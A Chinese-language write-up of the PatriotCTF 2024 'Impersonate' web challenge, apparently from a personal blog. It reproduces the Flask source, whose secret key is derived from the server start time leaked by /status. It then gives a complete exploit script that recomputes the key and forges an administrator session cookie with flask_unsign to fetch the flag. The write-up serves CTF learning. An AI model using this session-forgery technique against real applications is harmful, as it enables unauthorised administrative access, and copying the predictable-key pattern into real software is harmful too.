源码:
#!/usr/bin/env python3
from flask import Flask, request, render_template, jsonify, abort, redirect, session
import uuid
import os
from datetime import datetime, timedelta
import hashlib
app = Flask(__name__)
server_start_time = datetime.now()
server_start_str = server_start_time.strftime('%Y%m%d%H%M%S')
secure_key = hashlib.sha256(f'secret_key_{server_start_str}'.encode()).hexdigest()
app.secret_key = secure_key
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(seconds=300)
flag = os.environ.get('FLAG', "flag{this_is_a_fake_flag}")
secret = uuid.UUID('31333337-1337-1337-1337-133713371337')
def is_safe_username(username):
"""Check if the username is alphanumeric and less than 20 characters."""
return username.isalnum() and len(username) < 20
@app.route('/', methods=['GET', 'POST'])
def main():
"""Handle the main page where the user submits their username."""
if request.method == 'GET':
return render_template('index.html')
elif request.method == 'POST':
username = request.values['username']
password = request.values['password']
if not is_safe_username(username):
return render_template('index.html', error='Invalid username')
if not password:
return render_template('index.html', error='Invalid password')
if username.lower().startswith('admin'):
return render_template('index.html', error='Don\'t try to impersonate administrator!')
if not username or not password:
return render_template('index.html', error='Invalid username or password')
uid = uuid.uuid5(secret, username)
session['username'] = username
session['uid'] = str(uid)
return redirect(f'/user/{uid}')
@app.route('/user/<uid>')
def user_page(uid):
"""Display the user's session page based on their UUID."""
try:
uid = uuid.UUID(uid)
except ValueError:
abort(404)
session['is_admin'] = False
return 'Welcome Guest! Sadly, you are not admin and cannot view the flag.'
@app.route('/admin')
def admin_page():
"""Display the admin page if the user is an admin."""
if session.get('is_admin') and uuid.uuid5(secret, 'administrator') and session.get('username') == 'administrator':
return flag
else:
abort(401)
@app.route('/status')
def status():
current_time = datetime.now()
uptime = current_time - server_start_time
formatted_uptime = str(uptime).split('.')[0]
formatted_current_time = current_time.strftime('%Y-%m-%d %H:%M:%S')
status_content = f"""Server uptime: {formatted_uptime}<br>
Server time: {formatted_current_time}
"""
return status_content
定位到/admin这几行:
@app.route('/admin')
def admin_page():
"""Display the admin page if the user is an admin."""
if session.get('is_admin') and uuid.uuid5(secret, 'administrator') and session.get('username') == 'administrator':
return flag
else:
abort(401)
需要伪造session,uuid.uuid5(secret, 'administrator')恒为True,不用管,找到key:
server_start_time = datetime.now()
server_start_str = server_start_time.strftime('%Y%m%d%H%M%S')
secure_key = hashlib.sha256(f'secret_key_{server_start_str}'.encode()).hexdigest()
app.secret_key = secure_key
key是服务器启动时间,在/status下会展示已启动时间和服务器目前时间:
@app.route('/status')
def status():
current_time = datetime.now()
uptime = current_time - server_start_time
formatted_uptime = str(uptime).split('.')[0]
formatted_current_time = current_time.strftime('%Y-%m-%d %H:%M:%S')
status_content = f"""Server uptime: {formatted_uptime}<br>
Server time: {formatted_current_time}
"""
return status_content
所以通过计算key就能伪造session,exp:
from datetime import datetime
from flask_unsign import sign
import hashlib
import requests
url = "http://chal.competitivecyber.club:9999/status"
x = requests.get("http://chal.competitivecyber.club:9999/status")
# 获取现在服务器时间
index_server_time = x.text.find("Server time:") + 13
server_time_str = x.text[index_server_time: ]
server_time = datetime(int( server_time_str[0: 4] ), int( server_time_str[5: 7] ), int (server_time_str[8: 10]), int (server_time_str[11: 13]), int (server_time_str[14: 16]), int (server_time_str[17: 19]))
# 获取服务器已运行时间
index_up_time = x.text.find("Server uptime:") +15
up_time_str = x.text[index_up_time: index_server_time - 22]
up_time = datetime(int( server_time_str[0: 4] ), int( server_time_str[5: 7] ), int (server_time_str[8: 10]), int (up_time_str[0: 1]), int (up_time_str[2: 4]), int (up_time_str[5: ]))
# 计算key
server_start_time_str = str(server_time - up_time)
server_start_time = datetime(2024, 9, 25, int (server_start_time_str[0: 2]), int (server_start_time_str[3: 5]), int (server_start_time_str[6: 8]))
key = hashlib.sha256(f'secret_key_{server_start_time.strftime('%Y%m%d%H%M%S')}'.encode()).hexdigest()
# 生成session
session = sign({'is_admin': True, 'username': 'administrator'}, key.encode())
while True:
text = requests.get("http://chal.competitivecyber.club:9999/admin", cookies={"session": session})
if text.status_code == 200:
print(text.text)
break
else:
continue
标签:username,Web,admin,PatriotCTF2024,server,start,Impersonate,str,time
From: https://www.cnblogs.com/bfa-hawk/p/18453919